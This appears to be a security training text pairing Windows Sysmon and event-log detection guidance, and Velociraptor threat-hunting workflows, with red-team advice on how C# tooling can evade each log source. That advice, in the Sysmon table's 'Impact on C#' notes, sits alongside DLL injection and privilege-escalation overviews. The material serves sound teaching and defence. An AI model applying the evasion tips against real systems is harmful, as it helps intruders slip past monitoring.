15File Create StreamLogs creation of named file streams, including hashes of the file and stream contents.Detection Risk: Moderate. C# tools downloading files (e.g., via System.Net.WebClient) may trigger this if streams include Zone.Identifier metadata. Forensic Impact: Exposes browser-based drops, less relevant for pure memory attacks.Impact on C#: Avoid browser-based downloads in C#; use in-memory payloads to bypass stream logging.
16Sysmon Configuration ChangeLogs changes to Sysmon's configuration (e.g., updated filtering rules).Detection Risk: Low. Not directly tied to red team actions unless tampering with Sysmon. Forensic Impact: Indicates potential attacker interference with Sysmon.Impact on C#: Negligible unless C# tools attempt to disable Sysmon (e.g., via sc stop Sysmon).
17Named Pipe CreationLogs creation of named pipes, often used for interprocess communication by malware.Detection Risk: Moderate. C# tools using named pipes (e.g., via System.IO.Pipes) trigger this. Forensic Impact: Exposes IPC mechanisms, aiding attribution of C# payloads.Impact on C#: Avoid named pipes in C# tools; use alternative C2 channels (e.g., TCP/HTTP).
18Named Pipe ConnectionLogs connections between named pipe clients and servers.Detection Risk: Moderate. Similar to Event 17, C# tools using pipes for C2 or data exfiltration are logged. Forensic Impact: Links pipe-based communication, aiding forensic tracing.Impact on C#: Prefer network-based C2 in C# to avoid pipe-related logging.
19WMI Filter ActivityLogs WMI filter operations, including creation, deletion, and modification of filters.Detection Risk: High. Directly monitors WMI persistence attempts. Forensic Impact: Critical for tracing WMI-based attacks, especially those using the WMI Trinity (__EventFilter, __EventConsumer, __FilterToConsumerBinding).Impact on C#: Red teams using WMI for persistence are at high risk. Avoid WMI-based techniques or ensure robust obfuscation and encryption.
20WMI Consumer ActivityLogs WMI consumer operations, including execution of consumers.Detection Risk: High. Monitors execution of WMI consumers, often used in persistence mechanisms. Forensic Impact: Links consumer activity to specific filters, aiding in dismantling WMI-based persistence.Impact on C#: Similar to Event 19, high risk for C# tools using WMI consumers. Stealth and encryption are paramount.
21WMI Consumer-to-Filter ActivityLogs activity between WMI consumers and filters, including data flow.Detection Risk: Critical. Provides complete visibility into WMI persistence chains. Forensic Impact: Essential for understanding and mitigating WMI-based attacks.Impact on C#: Extremely high risk for C# tools using WMI for persistence. Avoidance or extreme stealth is necessary.
22DNSQueryLogs DNS queries made by processes.Detection Risk: High. C# tools resolving C2 domains (e.g., via System.Net.Dns) trigger this, exposing C2 infrastructure. Forensic Impact: Reveals domain resolutions, critical for tracing C2 servers.Impact on C#: Use hard-coded IPs or DNS over HTTPS in C# to minimize DNS logging.
23File DeleteLogs file deletion events, including hashes of deleted files.Detection Risk: Moderate. C# tools deleting files (e.g., via System.IO.File.Delete) trigger this, exposing cleanup attempts. Forensic Impact: Aids in tracking anti-forensic actions.Impact on C#: Minimize file operations in C# to avoid deletion logs; focus on memory-based attacks.
24Clipboard ChangeLogs changes to the clipboard, often used by malware for data theft.Detection Risk: Low. Rare in C# attacks unless stealing clipboard data (e.g., via System.Windows.Forms.Clipboard). Forensic Impact: Exposes data exfiltration attempts.Impact on C#: Avoid clipboard access in C# unless critical, as it's a low-priority attack vector.
25Process TamperingLogs attempts to tamper with process memory (e.g., hollowing, injection).Detection Risk: Critical. C# injection tools (e.g., using VirtualAllocEx, WriteProcessMemory) are highly likely to be flagged. Forensic Impact: Directly links to advanced injection techniques, critical for Havoc or C# attacks.Impact on C#: Injection-based C# payloads (e.g., Havoc's notepad.exe injection) are at high risk. Use stealthier processes or avoid injection.
26File Delete DetectedLogs when Sysmon detects a file being deleted by another process.Detection Risk: Moderate. Similar to Event 23, C# cleanup scripts trigger this. Forensic Impact: Exposes anti-forensic actions, aiding attribution.Impact on C#: Minimize file operations in C# to avoid deletion logs; focus on memory-based attacks.
27File Block ExecutableLogs when Sysmon blocks an executable file from running.Detection Risk: High for disk-based payloads. Fileless C# attacks (e.g., PowerShell) avoid this. Forensic Impact: Limited to disk-based artifacts, less relevant for memory attacks.Impact on C#: Fileless C# payloads bypass this event, reinforcing their utility for stealth.
28File Block ShreddingLogs when Sysmon prevents secure file deletion (shredding).Detection Risk: Low. Rare in C# unless using secure delete libraries. Forensic Impact: Exposes anti-forensic attempts.Impact on C#: Negligible, as secure deletion is uncommon in fileless C# attacks.
29File Executable DetectedLogs detection of executable files, including hashes and signatures.Detection Risk: High for disk-based C# payloads. Fileless attacks (e.g., .NET reflection) avoid this. Forensic Impact: Exposes dropped executables, less relevant for memory-based C# attacks.Impact on C#: Reinforces use of fileless C# techniques (e.g., PowerShell, Assembly.Load) to evade detection.
255ErrorGenerated when a Sysmon error occurs (e.g., heavy system load, bugs, or security violations).Detection Risk: Low. Not directly tied to red team actions. Forensic Impact: May indicate system stress or tampering attempts, but not specific to C# attacks.Impact on C#: Negligible unless C# tools cause Sysmon errors (e.g., via resource exhaustion).

WINDOWS LOGGING AND EVENT IDs

By default Windows logs a lot of information, but not everything is enabled by default. In this section we'll go through the most important logs that are relevant for red team operations and how to enable them. Microsoft recommends enabling the following audit policies for comprehensive logging: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/advanced-security-audit-policy-settings

WE PREFER EVENTLOG EXPLORER (ELEX) over Windows Event Viewer

https://eventlogxp.com/

EventLog Explorer (ELEX) is a powerful tool for viewing, analyzing, and managing Windows event logs. It offers several advantages over the built-in Windows Event Viewer, such as a more user-friendly interface, advanced filtering options, and the ability to handle large log files more efficiently. ELEX also provides features like log exporting, bookmarking, and customizable views, making it easier for administrators and security professionals to analyze event logs and identify potential issues or security threats.

CUSTOM EVENT FILTERS IN ELEX

image

CUSTOM COLUMN VIEWS IN ELEX

image

WINDOWS EVENT ID's BEST PRACTICES

INCREASE FILE SIZE: When enabling detailed logging (e.g., PowerShell Script Block Logging, Process Creation with Command Line), ensure that the log file size is increased to accommodate the higher volume of events. This helps prevent log overwriting and ensures that critical events are retained for analysis.

wevtutil gl Microsoft-Windows-Sysmon/Operational
wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:524288000
wevtutil gl Microsoft-Windows-Sysmon/Operational

A 64 MB Sysmon event log can hold approximately 16,384 to 65,536 events, with a typical estimate of ~32,768 events assuming an average event size of 2 KB - A 500 MB Sysmon event log can hold approximately 128,000 to 512,000 events, with a typical estimate of ~256,000 events assuming an average event size of 2 KB. For a precise count, analyze your Sysmon configuration and environment to determine the actual average event size.

1. POWERSHELL (SCRIPT BLOCK LOGGING)

LogSource: Microsoft-Windows-PowerShell/Operational

FieldValuePurposeEnabled by DefaultNoise Level
EventID4104Logs PowerShell script execution and deobfuscated content for threat detection🟠 (WIN10/11)🔴 Very High (with full logging)

Note: By default, Windows logs only suspicious PowerShell activity through AMSI. To capture all PowerShell script execution, you must enable Script Block Logging via GPO or registry modification.

Benefits of Enabling Full Script Block Logging

  • Comprehensive Logging: Unlike default logging (limited to AMSI-flagged suspicious scripts), GPO-enabled Script Block Logging captures all script activity, including non-suspicious and obfuscated code
  • Centralized Management: GPO deployment ensures consistent logging across enterprise systems, superior to manual registry changes
  • Granular Insights: Logs complete script content, execution context (user, process ID), and deobfuscated code - critical for detecting fileless attacks

Deobfuscation Behavior:

  • Default AMSI logging: Deobfuscates Base64-encoded scripts only when flagged as suspicious
  • Full Script Block Logging: Always deobfuscates Base64-encoded scripts, logging decoded content in Event ID 4104 regardless of threat level Important: When Script Block Logging is enabled, AMSI detection events are included within the comprehensive 4104 logs. This means all scripts (malicious and benign) are logged with full deobfuscation, significantly increasing forensic visibility but also log volume.

Manual Registry Configuration (Alternative to GPO)

Registry Path: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

  • Key: EnableScriptBlockLogging
  • Value: 1 (DWORD)

2. WINDOWS DEFENDER

LogSource: Microsoft-Windows-Windows Defender/Operational

FieldValuePurposeEnabled by DefaultNoise Level
EventID1116Logs malware detection events from Windows Defender✅🟢 Low (only on detections)
EventID1117Logs actions taken by Windows Defender (quarantine, block, etc.)✅🟢 Low (only on actions)

AMSI also logs to Microsoft-Windows-Windows Defender/Operational as Event ID 1116 (detection) and 1117 (action taken), providing antivirus-specific details (e.g., threat name, process).

image image


3. RDP CONNECTION

LogSource: Microsoft-Windows-Terminal-Services-RemoteConnectionManager/Operational

FieldValuePurposeEnabled by DefaultNoise Level
EventID1149Successful RDP connections and authentication attempts✅🟡 Medium (per RDP session)
EventID4778Session reconnected to Window Station✅🟡 Medium (per reconnection)
EventID4779Session disconnected from Window Station✅🟡 Medium (per disconnection)
EventID21RDP logon successful (Terminal Services)✅🟡 Medium (per successful logon)
EventID24RDP session disconnect✅🟡 Medium (per disconnect)

4. SERVICE CREATION LOGS

LogSource: SYSTEM

FieldValuePurposeEnabled by DefaultNoise Level
EventID7045Logs Windows service creation events for persistence detection✅🟢 Low (only on service creation)

5. EVENT LOG CLEARING LOGS

LogSource: Security

FieldValuePurposeEnabled by DefaultNoise Level
EventID1102Logs event log clearing attempts (anti-forensics detection)✅🟢 Very Low (only when logs cleared)

6. PROCESS EXECUTION AND COMMAND LINE

LogSource: Security

FieldValuePurposeEnabled by DefaultNoise Level
EventID4688Logs process creation with command line arguments❌ (Requires 2 GPO settings)🔴 Extremely High (every process)
EventID4689Process termination❌ (Requires GPO)🔴 Extremely High (every process)

Important: Event ID 4688 requires TWO separate GPO configurations:

  1. Audit Process Creation (enables basic 4688 events)
  2. Include command line in process creation events (adds command line logging)

Without both settings, you'll only get process names without command line arguments.

Configuration Steps for Process Creation Logging (Event ID 4688)

Step 1: Enable Process Creation Auditing

  1. Navigate to: Computer Configuration → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Audit Policies → Detailed Tracking
  2. Double-click "Audit Process Creation"
  3. Check the box "Configure the following audit events"
  4. Check both "Success" and "Failure" boxes

Step 2: Enable Command Line Logging

  1. Navigate to: Computer Configuration → Administrative Templates → System → Audit Process Creation
  2. Double-click "Include command line in process creation events"
  3. Set to "Enabled"

Result

  • Event ID 4688 will now log process creation events with full command line arguments
  • Critical for detecting malicious process execution and lateral movement activities
  • Provides visibility into process spawning chains and command line obfuscation attempts.

7. LOGON EVENTS

LogSource: Security

FieldValuePurposeEnabled by DefaultNoise Level
EventID4624Successful logon events (interactive, network, service)✅🟡 Medium to High (depends on environment)
EventID4625Failed logon attempts (brute force detection)✅🟡 Medium (legitimate failures + attacks)
EventID4634/4647Logoff events✅🟡 Medium to High (per logoff)

8. PRIVILEGE ESCALATION

LogSource: Security

FieldValuePurposeEnabled by DefaultNoise Level
EventID4672Special privileges assigned to new logon (admin detection)✅🟡 Medium (admin logins)

9. ACCOUNT MANAGEMENT

LogSource: Security

FieldValuePurposeEnabled by DefaultNoise Level
EventID4720User account created✅🟢 Low (only on account creation)
EventID4726User account deleted✅🟢 Low (only on account deletion)
EventID4728User added to security-enabled global group✅🟢 Low (only on group changes)

10. WMI EVENT LOGGING (Advanced)

LogSource: Microsoft-Windows-WMI-Activity/Operational

FieldValuePurposeEnabled by DefaultNoise Level
EventID5857WMI provider activity❌ (Requires GPO)🟡 Medium (legitimate WMI usage)
EventID5860Registration of temporary WMI events❌ (Requires GPO)🟢 Low (only on WMI event registration)
EventID5861Registration of permanent WMI events❌ (Requires GPO)🟢 Low (only on persistent WMI events)

Configuration for WMI Logging

  1. Navigate to: Computer Configuration → Administrative Templates → Windows Components → WMI
  2. Enable "Enable Logging" for WMI-Activity

Log Retention Considerations

Log TypeRecommended RetentionStorage ImpactNoise Level
PowerShell 410490 days minimumHigh (with full Script Block Logging)🔴 Very High
Process Creation 468830 days minimumVery High🔴 Extremely High
Sysmon Events30 days minimumExtremely High🔴 Extremely High
Security Events180 days minimumMedium🟡 Medium to High

⚠️ Performance Warning: Enabling comprehensive logging (especially Process Creation 4688 and full PowerShell Script Block Logging) can generate 100GB+ logs daily on busy systems. Ensure adequate storage and consider log forwarding to SIEM solutions.

Noise Level Legend:

  • 🟢 Low: Rare events, high signal-to-noise ratio
  • 🟡 Medium: Moderate frequency, manageable with filtering
  • 🔴 High/Very High: Frequent events, requires significant filtering and storage

OTHER INTERESTING EVENT LOGS

LogSource: Microsoft-Windows-DNS-Client/Operational

FieldValuePurposeEnabled by DefaultNoise Level
EventID3006DNS query initiated/called❌ (Requires GPO)🔴 Very High (every DNS query started)
EventID3008DNS query completed with results❌ (Requires GPO)🔴 Very High (every completed DNS query)
EventID3010DNS reverse lookup query (PTR records)❌ (Requires GPO)🟡 Medium (reverse DNS lookups)
EventID3018DNS cache lookup operations❌ (Requires GPO)🟡 Medium (DNS cache hits/misses)
EventID3020DNS query response❌ (Requires GPO)🟡 Medium (legitimate DNS queries)

1. VELOCIRAPTOR

Velociraptor is already installed on your Kali host (you're welcome) - below you can find the installation instructions - DON'T run these again, it's only for reference.

Screenshot

1.1 VELOCIRAPTOR SERVER INSTALLATION (KALI)

Quickstart: https://docs.velociraptor.app/docs/deployment/quickstart/

Training: https://docs.velociraptor.app/training/

NOTE: The Velociraptor server installation below is for reference only, as it's already installed on your Kali Linux machine.

mkdir ~/velociraptor_setup && cd ~/velociraptor_setup
wget -O velociraptor https://github.com/Velocidex/velociraptor/releases/download/v0.74/velociraptor-v0.74.1-linux-amd64
chmod +x velociraptor
./velociraptor config generate -i
./velociraptor debian server --config ./server.config.yaml
sudo dpkg -i velociraptor_server_0.74.1_amd64.deb
systemctl status velociraptor_server.service
sudo nano /etc/velociraptor/server.config.yaml
systemctl restart velociraptor_server.service
systemctl status velociraptor_server.service

Velociraptor server config : /etc/velociraptor/server.config.yaml

Screenshot

1.2 VELOCIRAPTOR SERVICE

NOTE: The information on the Velociraptor client below is for reference only, as it's already installed on your Windows machine.

https://docs.velociraptor.app/docs/deployment/clients/#installing-the-client-as-a-service

When installed as a service, the Velociraptor client runs with elevated privileges. But when running it manually you may choose to run it as a normal user. The choice depends on what data sources you intend to access. For example, to access operating system protected files usually requires elevated privileges.

  • This will install the binary and client configuration file in the C:\Program Files\Velociraptor\ folder, create the service, and start it.

This allows for live response and continuous monitoring of the endpoint.

image

https://docs.velociraptor.app/docs/deployment/clients/#option-1-obtaining-the-client-config-from-the-gui

  • On Windows client: check yaml config under c:\program files\velociraptor

  • Install the Velociraptor client on your Windows machine using the config file from the server

1.3 VELOCIRAPTOR OFFLINE COLLECTOR (AGENTLESS)

https://docs.velociraptor.app/docs/deployment/clients/#agentless-deployment

There has been a lot of interest in "agentless hunting" using Velociraptor, especially since many people come from backgrounds where PowerShell is used for this purpose.

There are many reasons why agentless hunting is appealing. These are the ones we hear most often:

  • There are already a ton of endpoint agents and yet another one may not be welcome.
  • Sometimes we need to deploy endpoint agents as part of a DFIR engagement and we may not want to permanently install yet another agent on endpoints.

In the agentless deployment scenario, we simply run the binary from a network share using Group Policy settings. The downside to this approach is that the endpoint needs to be on the domain network to receive the Group Policy update (and have the network share accessible) before it can run Velociraptor.

When we run in agentless mode, we are typically interested in collecting a bunch of artifacts via hunts and then exiting - the agent will not restart after a reboot. So this method is suitable for quick hunts on corporate (non roaming) assets.

  • Velociraptor allows the user to build a specially configured binary (which is actually just a preconfigured Velociraptor binary itself) that will automatically collect the artifacts we need. Velociraptor allows us to build such a collector with the GUI using an intuitive process. https://docs.velociraptor.app/docs/offline_triage/

This collector will not require the full Velociraptor agent to be installed on the endpoint. It will run standalone, collect the specified artifacts, and then upload them back to your Velociraptor server for analysis (or a AWS S3 bucket, etc).

This is where Velociraptor gets seriously powerful for incident response:

Screenshot

Server.Utils.CreateMSI lets you build a standalone collector that runs without needing the full Velociraptor agent installed. Key parameters:

  • CustomConfig: Supply your own client config
  • AlsoBuild_x86: Build both 64-bit and 32-bit versions

Real-World Application: You can create these collectors, drop them on compromised systems, collect evidence, and analyze it all from your Velociraptor server - even on air-gapped networks.

Advanced Configuration Insights

Performance Tuning:

  • Concurrency: Number of concurrent queries (be careful not to overwhelm the endpoint)
  • NTFS_CACHE_TIME: How long to cache NTFS metadata (1800000 = 30 minutes)

File Collection Strategies:

  • Upload_file: Toggle whether to actually upload collected files
  • Calculate_Hash: Compute file hashes (crucial for malware analysis)

These aren't just configuration options - they're tactical decisions that affect your investigation's success and stealth.

1.4 ESSENTIAL VELOCIRAPTOR WORKFLOWS

Now here's where Velociraptor really shines - it's not just another forensics tool, it's your complete incident response command center. Let me walk you through the workflows that'll make you dangerous as a threat hunter.

Hunting PowerShell Activity

One of the first things you'll want to do is hunt for PowerShell activity. The screenshots show us using the Windows.EventLogs.PowershellScriptblock artifact, which is specifically designed to collect PowerShell script block logging events:

Screenshot

Looking at the configuration parameters in the screenshots, we can see:

Screenshot

Key Parameters from the Screenshots:

  • EvtxGlob: %SystemRoot%\System32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx - targets the PowerShell Operational log specifically
  • LogLevel: All (highlighted with red arrow) - collects all PowerShell script block events regardless of log level
  • SearchStrings, StringWhitelist, PathWhitelist: Additional filtering options available but not configured in this example

Screenshot

This artifact is laser-focused on PowerShell script block logging (Event ID 4104), which captures the actual PowerShell code being executed. This is pure gold for threat hunters because script block logging records the deobfuscated PowerShell content - even if attackers try to obfuscate their commands, Windows logs the final executed script.

File Hunting at Scale

The file hunting capability is where Velociraptor really flexes its muscles. Check out this workflow:

Screenshot

Windows.Search.FileFinder lets you hunt for files across the entire endpoint using glob patterns. In the screenshot, we're searching for C:\THEV\**\xloader* - that double asterisk (**) is crucial because it means "search recursively through all subdirectories."

Screenshot

What You're Really Seeing Here: The results show us finding files in C:\THEV\Labs\XORShellcode\XLoader\ - this is exactly the kind of pattern matching that makes Velociraptor dangerous for red teamers. It found our "xloader" files scattered across different lab directories.

Advanced File Hunting Tips:

  • Use *.exe to find all executables
  • Use *loader* to find anything with "loader" in the filename (great for hunting malware)
  • Use time-based filters (MoreRecentThan, ModifiedBefore) to narrow down to recent activity

Remote File Collection

Here's where things get really interesting. Velociraptor doesn't just find files - it can collect them remotely:

Screenshot Screenshot

Windows.Collectors.File with these key settings:

  • collectionSpec: temp\demon.x64.exe (specific file to collect)
  • Root: C: (search root)
  • Accessor: auto (let Velociraptor figure out the best way to access the file)

Critical Understanding: When you see a file get collected (like that demon.x64.exe in the temp folder), Velociraptor is actually copying it back to your server. This means you can analyze malware samples without ever touching the infected endpoint directly.

Event Log Hunting Deep Dive

The event log hunting capabilities are frankly terrifying from a red team perspective:

Screenshot Screenshot

  • Look at those results - we're seeing PowerShell Event ID 4104 events with actual script content: whoami, prompt, $pid, dir C:/, $global:?, get-process.

What This Means for Red Teams: If you're running PowerShell commands, every single one is getting logged if script block logging is enabled. The "ScriptBlockText" column shows exactly what you executed. No obfuscation, no hiding - it's all there.

Blue Team Gold: Event IDs to hunt for:

  • 4104: PowerShell script blocks (the actual commands)
  • 4103: PowerShell module logging
  • 4688: Process creation (with command lines)
  • 1: Sysmon process creation

Saving Your Hunts (Favorites)

Smart hunters save their successful queries:

Screenshot

The Favorites panel shows pre-built hunts like:

  • Collect Security Event Log
  • Search Event Logs "whoami"
  • Fetch "demon.x64.exe" artifact from victim
  • Find files "xloader"*

Pro Tip: Build your own favorite hunts for common IOCs, file patterns, or registry keys. This turns Velociraptor into your personalized threat hunting platform.

1. PROCESSES, TOKENS & DLL'S

1.1 INTRODUCTION

In the complex landscape of cybersecurity, a deep understanding of operating system internals is paramount for effective digital forensics, proactive threat hunting, and decisive incident response. This chapter focuses on three core Windows OS components: processes, DLLs, and process tokens. We will explore their definitions, internal mechanisms, interrelationships, and, crucially, their significance in detecting and analyzing malicious activities.

1.2 PROCESSES

A Windows process typically starts from a PE-file on disk, below is an overview of a typical PE-file. We will dive deeper into this later on when we'll be building our own evasive shellcode loader. Once this PE-file is executed, it becomes a process in memory.

image

What is a Process?

A process is an instance of a running program. It encapsulates the necessary resources to execute a program, providing an isolated environment for its operations. Each process has its own dedicated virtual address space, containing the executable code, data, heap, and stack. It also manages its own set of resources, such as open files, network connections, and security context.

Basically, a process holds all kinds of information about itself, including:

  • Process ID (PID)
  • Parent Process ID (PPID)
  • Threads
  • Loaded modules (DLLs)
  • Handles to system resources
  • Token information (user, groups, privileges)
  • IAT (Import Address Table) - which holds addresses of functions loaded from DLLs

A HANDLE is like a reference number or a ticket that a program uses to access system resources. These resources could be files, windows, registry keys, processes, network sockets or even threads. Handles are used to track access to resources safely.

A THREAD is the smallest unit of execution in a process, think of threads as individual workers within a single company (the process), each doing a specific task - like downloading a file, updating the UI, or processing data.

Key Process Structures and Components

In Windows, a process is represented by several important data structures that help the operating system manage and track it:

  • EPROCESS (Executive Process Block): Think of this as the main "file folder" that Windows keeps for each running program. It contains essential information like the process's unique ID number, which program started it (the parent), and when it was created.

  • KPROCESS (Kernel Process Block): This is a section within the main folder that specifically tracks information about the program's threads (the individual tasks it's performing) and how the operating system schedules when it gets to use the computer's processor.

  • PEB (Process Environment Block): This is information that the running program itself can access. It includes details about what additional code libraries (DLLs) the program is using, startup parameters, and data from the Windows loader.

  • PID (Process ID): A unique number assigned to each running program, like a serial number that helps Windows keep track of which program is which.

  • Virtual Address Space: Each program gets its own private "workspace" in memory. For 32-bit programs, this workspace is up to 4 GB, and for 64-bit programs, it can be up to 8 TB on typical Windows systems. This workspace maps to the computer's actual physical memory.

Parent/Child Process Relationships

Processes are typically created by other processes. The creating process is known as the parent process, and the newly created process is the child process. This relationship is hierarchical, forming a process tree where System (PID 4) is often the root, and smss.exe (Session Manager SubSystem) is a key early parent. explorer.exe is commonly the parent for user-launched applications.

When a new process is created (e.g., via CreateProcess API), the child process inherits certain attributes from its parent, including environment variables, some handles, and importantly, a duplicate of the parent's access token. This inheritance is crucial for understanding privilege propagation and potential abuse.

Parent process creates

  • new process and
  • assigns new PID
    • Child process inherits
      • Copy of security context (token)
      • Environment variables
      • Some handles
    • Child process has its own virtual address space

OVERVIEW: Simplified Process Creation Flow

image

DFIR Relevance: Identifying Suspicious Process Creation

  • Anomalous Parent-Child Chains: Unexpected parent-child relationships are a prime indicator of malicious activity.
    • Example: svchost.exe spawning cmd.exe or powershell.exe. svchost.exe typically hosts services and should not directly launch user-interactive shells.
    • Example: Microsoft Office applications (word.exe, excel.exe) spawning cmd.exe, powershell.exe, or other executables. This is a common tactic for macro-enabled malware.
  • Process Renaming/Masquerading: Malware often renames itself to commonly seen processes (e.g., svchost.exe, explorer.exe) to blend in. Analyzing the process path, command line arguments, and parent process can reveal masquerading.
  • Execution from Unusual Locations: Processes running from temporary directories (%TEMP%, C:\Windows\Temp), user profile directories (%APPDATA%, %LOCALAPPDATA%), or non-standard system paths are highly suspicious.
  • Unusual Command Line Arguments: Many legitimate processes have predictable command line arguments. Malicious processes might use unusual flags, obfuscated strings, or encoded commands (e.g., base64 encoded PowerShell).

image 📄 Download PDF

1.3 DYNAMIC LINK LIBRARIES (DLLS)

What is a DLL?

A Dynamic Link Library (DLL) is a type of executable file that contains code and data that can be used by multiple programs simultaneously. Unlike static libraries, which are linked into an executable at compile time, DLLs are loaded into memory at runtime, either when a program starts or on demand. This allows for:

  • Code Reusability: Multiple applications can use the same DLL, reducing memory footprint and disk space.
  • Modularity: Applications can be updated by simply replacing DLLs without recompiling the entire executable.
  • Resource Sharing: DLLs can contain resources (icons, strings) that are shared across applications.

How DLLs are Loaded

image

DLLs can be loaded into a process in two primary ways:

  • Implicit (Static) Linking: When an executable is compiled, if it's designed to use functions from a specific DLL, a record of this dependency is stored in the executable's import address table (IAT). When the executable loads, the Windows loader automatically finds and maps these required DLLs into the process's virtual address space.
  • Explicit (Dynamic) Linking: A program can explicitly load a DLL at runtime using functions like LoadLibrary or LoadLibraryEx. This allows programs to load DLLs conditionally or load DLLs whose names are determined at runtime.

Once loaded, the DLL's code and data become part of the process's virtual address space, and the process can call functions exported by the DLL.

DLL Injection Techniques

DLL injection is a widely used technique by malware to execute arbitrary code within the context of another process. Common methods include:

  • Remote Thread Injection: The most common. A malicious process writes the path to a malicious DLL into the target process's memory and then creates a remote thread in the target process that calls LoadLibrary to load the DLL.
  • SetWindowsHookEx: Exploits Windows hooking mechanisms to inject a DLL into processes that receive certain window messages.
  • APCs (Asynchronous Procedure Calls): Enqueuing a DLL loading routine into a target thread's APC queue.
  • Process Hollowing/RunPE: Creating a suspended process, hollowing out its legitimate code, and injecting malicious code (often including DLLs) before resuming.
  • Reflective DLL Injection: The DLL is loaded directly from memory without touching the disk, making detection harder.

DFIR Relevance: DLLs in Malware and Evasion

  • Malware Persistence: DLLs can be registered as services, run via AppInit_DLLs registry key, or hijacked through DLL search order flaws to achieve persistence.
  • Evasion: Reflective DLL injection or techniques that load DLLs from non-standard locations can bypass traditional endpoint detection mechanisms that monitor file system activity.
  • Privilege Escalation: Some DLLs might be vulnerable to hijacking, allowing a lower-privileged process to load a malicious DLL that then executes with higher privileges.
  • Code Injection: DLLs are the primary vehicle for code injection into legitimate processes, allowing malware to masquerade, hide, and access resources with the target process's privileges.
  • Forensic Artifacts: Analyzing loaded DLLs in memory dumps, Prefetch files, ShimCache, and registry keys related to DLL loading can reveal malicious activity.

1.4 PROCESS TOKENS

What is an Access Token?

An access token is a kernel object that describes the security context of a process or thread. It contains all the security-relevant information about the user account under which the process or thread is running. When a process tries to access a secured object (e.g., a file, registry key, or another process), the operating system performs an access check by comparing the information in the process's (or thread's) access token against the object's Security Descriptor.

image

Access Token Contents

A typical access token contains:

  • User SID (Security Identifier): Identifies the user account.
  • Group SIDs: Identifies all security groups the user is a member of (e.g., Administrators, Domain Users).
  • Privileges: A list of special rights assigned to the user or group (e.g., SeDebugPrivilege for debugging, SeBackupPrivilege for backing up files).
  • Integrity Level (IL): A security attribute that defines the trustworthiness of a process (discussed below).
  • Default DACL (Discretionary Access Control List): Specifies default permissions for objects created by the process.
  • Authentication ID: Unique identifier for the logon session.

image image

Starting a process with unprivileged user:

image image

Access Token Creation

Access tokens are primarily created during the user logon process. When a user successfully authenticates, the Local Security Authority (LSA) creates an initial access token for that logon session.

When a new process is created, by default, it inherits a copy of its parent's access token. This means a child process runs with the same security context as its parent. However, processes can also be created with a different token (e.g., CreateProcessAsUser, ShellExecuteAsUser, or CreateRestrictedToken).

Integrity Levels (IL)

Integrity Levels (ILs) are a core component of Windows Mandatory Integrity Control (MIC), introduced in Windows Vista. They add another layer of security beyond traditional Discretionary Access Control Lists (DACLs) by assigning a "trustworthiness" level to processes and objects.

There are several standard Integrity Levels:

  • Untrusted (0x0000): Very low trust (e.g., for anonymous logon).
  • Low (0x1000): Restricted processes, often for internet-facing applications (e.g., Internet Explorer in Protected Mode). Cannot write to most user directories.
  • Medium (0x2000): Default for most user-launched applications.
  • High (0x3000): For processes launched with administrative privileges (e.g., "Run as administrator" or UAC elevated processes).
  • System (0x4000): For core operating system processes and services.
  • TrustedInstaller (0x5000): The highest integrity level, reserved for Windows Update and Windows Modules Installer Service, allowing modification of critical system files.

image

image

Understanding Mandatory Integrity Control (MIC)

Mandatory Integrity Control (MIC) is a security feature in Windows (introduced in Vista and refined over time) that helps protect your system by assigning integrity levels (IL) to processes, files, registry keys, and other system objects. These levels act like a "trust rating" – think of them as floors in a secure building, where higher floors hold more sensitive stuff (like executive suites) and lower floors are more accessible (like the lobby).

The Key Principle: "No Write Up" Rule

The key principle of MIC is all about controlling writes and modifications between these levels to prevent low-trust processes from compromising high-trust objects. Here's a clearer breakdown:

  • What it means: A process running at a lower integrity level (e.g., Medium) cannot write to, modify, or delete objects (like files, registry entries, or even other processes) that are at a higher integrity level (e.g., High or System).

  • Why? This stops malware or buggy apps from "escalating" their damage. For example, if a virus infects your browser (Medium IL), it cannot sneakily edit critical system files (High IL) to take over your PC.

  • Analogy: Imagine you're on the lobby floor (Low/Medium) – you can't mail a package up to the executive floor (High) without strict approval. But the executives can send memos down to the lobby if they want.

Write Down Rule (The Exception)

  • The allowance: A process at a higher integrity level (e.g., High) can freely write to or modify objects at a lower integrity level (e.g., Medium or Low).

  • Why? Trusted, high-privilege tasks (like an admin tool) often need to update or clean up lower-level resources without barriers.

  • Example: When you run an antivirus scan as an admin (High IL), it can delete infected files in your Downloads folder (Medium IL).

Why This Matters

MIC isn't foolproof (e.g., it doesn't stop read access or UAC prompts for elevation), but it's a core defense against privilege escalation attacks. It enforces a one-way "trust flow" downward, keeping the system safer without locking everything down completely.

DFIR Relevance: Token Manipulation and Privilege Escalation

  • Token Theft/Impersonation: Attackers often steal or impersonate tokens from privileged processes (e.g., lsass.exe, services.exe) to gain elevated privileges without needing credentials. This is a common post-exploitation technique.
    Tools: Mimikatz, Incognito, etc...

  • Bypassing UAC (User Account Control): Many UAC bypasses involve finding ways to launch processes with a High integrity token from a Medium integrity context, often by abusing legitimate Windows binaries that auto-elevate.

  • Integrity Level Analysis: In threat hunting, observing a process running at an unexpectedly low or high integrity level can be suspicious.

    Example: A standard user application running at System integrity level (a strong indicator of compromise).

    Example: Malware attempting to drop files into a Program Files directory (which requires High integrity) from a Medium integrity process, which would fail due to MIC unless a privilege escalation occurred.

    Parent-Child Integrity Discrepancy: While children typically inherit the parent's IL, a sudden jump in integrity level without a legitimate UAC prompt or CreateProcessAsUser could indicate a UAC bypass or other privilege escalation.

Privilege Escalation / Persistence

In order to escalate privileges from a regular user to a higher level account (Administrator/System Authority), you need either a misconfiguration (typically permission issues on services, scheduled tasks etc.) or an exploit (Remote/Rogue/Sweet/Rotten/Juicy/God Potato etc.) - a properly patched and configured system will provide challenges to escalate privileges from a standard user to an administrator user.

There are tons of privilege escalation techniques (many are based on misconfigurations) and it is impossible to cover them all here.

Privilege Escalation TechniqueAdminCategoryBrief Description
Service misconfigurations❌MisconfigurationReplace service binaries (exe or dll) with malicious binary when service has weak permissions
Scheduled tasks misconfigurations❌MisconfigurationModify scheduled tasks to run malicious binary when task has weak permissions
Unquoted service paths❌Path InterceptionExploit Windows service path resolution by placing malicious executable in unquoted path spaces
PATH environment variable hijacking❌Path InterceptionPlace malicious executable in PATH directories to hijack legitimate program execution
